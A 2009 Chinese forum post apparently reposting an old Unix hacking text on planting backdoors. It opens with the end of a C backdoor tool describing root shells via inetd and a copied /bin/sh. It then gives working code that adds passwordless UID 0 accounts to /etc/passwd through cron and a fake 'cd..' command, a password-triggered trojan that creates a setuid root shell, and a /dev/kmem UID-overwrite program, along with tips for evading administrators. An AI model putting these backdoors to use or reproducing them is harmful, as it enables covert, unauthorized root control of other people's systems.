找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 587|回复: 0

“后门”技巧

[复制链接]

29

主题

39

回帖

94

牛毛

初生牛犊

积分
94
发表于 2009-4-6 13:53:47 | 显示全部楼层 |阅读模式 来自 辽宁省沈阳市
printf("[email=theft@cyberspace.org\n]theft@cyberspace.org\n[/email]");
printf("Executing suid shell..\n");
execl("/bin/sh");
break;
case '7':
printf("\nBackhore BETA by Theft\n");
printf("[email=theft@cyberspace.org\n]theft@cyberspace.org\n[/email]");
printf("\nInfo... (-i)\n");
printf("\n3 - Adds entries to /etc/services & /etc/inetd.conf giving you\n");
printf("a root shell on port 2000. example: telnet 2000\n\n");
printf("4 - Creates a copy of /bin/sh to /tmp/.sh which, whenever\n");
printf("executed gives you a root shell. example:/tmp/.sh\n\n");
printf("5 - Adds an account with uid and gid 0 to the passwd file.\n");
printf("The login is 'mutiny' and there is no passwd.");
break;
case '8':
printf("\nBackhore BETA by Theft\n");
printf("\nhttp://theft.bored.org\n");
printf("[email=theft@cyberspace.org\n\n]theft@cyberspace.org\n\n[/email]");
break;
default:
printf("unknown command: %d\n", cmd);
break;
}
}
<-->
[高级]
Crontab 程序对于系统管理员来说是非常有用的。Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。如果你足够聪明,就应该加以利用,使之为我们制造“后门”!通过 Cron 服务,你可以让它在每天凌晨 3:00 (这个时候网管应该睡觉了吧。)运行后门程序,使你能够轻易进入系统**想干的事,并在网管起来之前退出系统。根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:
(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb
1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行的程序
以上内容设置该程序于每星期三 0:0 运行。要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可。例如该程序可以在每天检查我们在 /etc/passwd 文件中增加了用户帐号是否仍然有效。以下是程序示例:
0 0 * * * /usr/bin/retract
<++> backdoor/backdoor.sh
#!/bin/csh
set evilflag = (`grep eviluser /etc/passwd`)

if($#evilflag == 0) then
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
@ linecount[1] /= 2
@ linecount[1] += 1
split -$linecount[1] ./temppass
echo "Meb::0:0:Meb:/root:/bin/sh" >> ./xaa
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Done...
else
endif
<-->

[综合]
当然,我们可以编写木马程序,并把它放到 /bin 目录下。当以特定命令行参数运行时将产生一个 suid shell。以下是程序示例:
<++> backdoor/backdoor3.c
#include
#define pass "triad"
#define BUFFERSIZE 6
int main(argc, argv)
int argc;
char *argv[];{
int i=0;
if(argv[1]){
if(!(strcmp(pass,argv[1]))){

system("cp /bin/csh /bin/.swp121");
system("chmod 4755 /bin/.swp121");
system("chown root /bin/.swp121");
system("chmod 4755 /bin/.swp121");
}
}
printf("372f: Invalid control argument, unable to initialize. Retrying");
for(;i<10;i++){
fprintf(stderr,".");
sleep(1);
}
printf("\nAction aborted after 10 attempts.\n");
return(0);
}
<-->

[变种]
以下程序通过在内存中寻找你所运行程序的 UID,并将其改为 0,这样你就有了一个 suid root shell 了。
<++> backdoor/kmemthief.c
#include
#include
#include
#include
#include
#include
#include
#define pass "triad"
struct user userpage;
long address(), userlocation;
int main(argc, argv, envp)
int argc;
char *argv[], *envp[];{
int count, fd;
long where, lseek();
if(argv[1]){
if(!(strcmp(pass,argv[1]))){
fd=(open("/dev/kmem",O_RDWR);
if(fd<0){
printf("Cannot read or write to
/dev/kmem\n");
perror(argv);
exit(10);
}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user page\n");
perror(argv);
exit(30);
}
printf("Current UID: %d\n",userpage.u_ruid);
printf("Current GID: %d\n",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user page\n");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
}
<-->
[“笨”方法]
你有没有曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."?这是由于使用 MS Windows 和 MS-DOS 养成的习惯。这种错误网管是否也会犯呢?如果是这样的话,可不可以让他为我们做点“贡献”呢?:) 例如当他输入 "cd.." 时,会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例:
<++> backdoor/dumb.c
/*
本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能,从而骗过管理员。
*/
#include
#include
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n");
system("cd");
}
<-->
把上面的程序编译好,放到隐蔽的地方。最好使用 chown 命令将该程序的属主改为 root,使管理员使用 "ls -alF" 命令看到 suid 程序时不至于怀疑。
好了,将这个程序(假设其名为 fid)放好以后,下一步的工作就是建立该程序到 "cd.." 的链接:ln cd.. /bin/out。这样,只要系统管理员犯了这个输入错误,你就可以又一次得到系统控制权了。
[结束语]
本文主要是让你了解一下如何建立、维持、使用后门。知道了这些,当然也就知道如何清除它们了。你可以按自己的兴趣利用这些资料,但请慎重考虑清楚,后果自负。
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-29 02:57 , Processed in 0.163771 second(s), 33 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表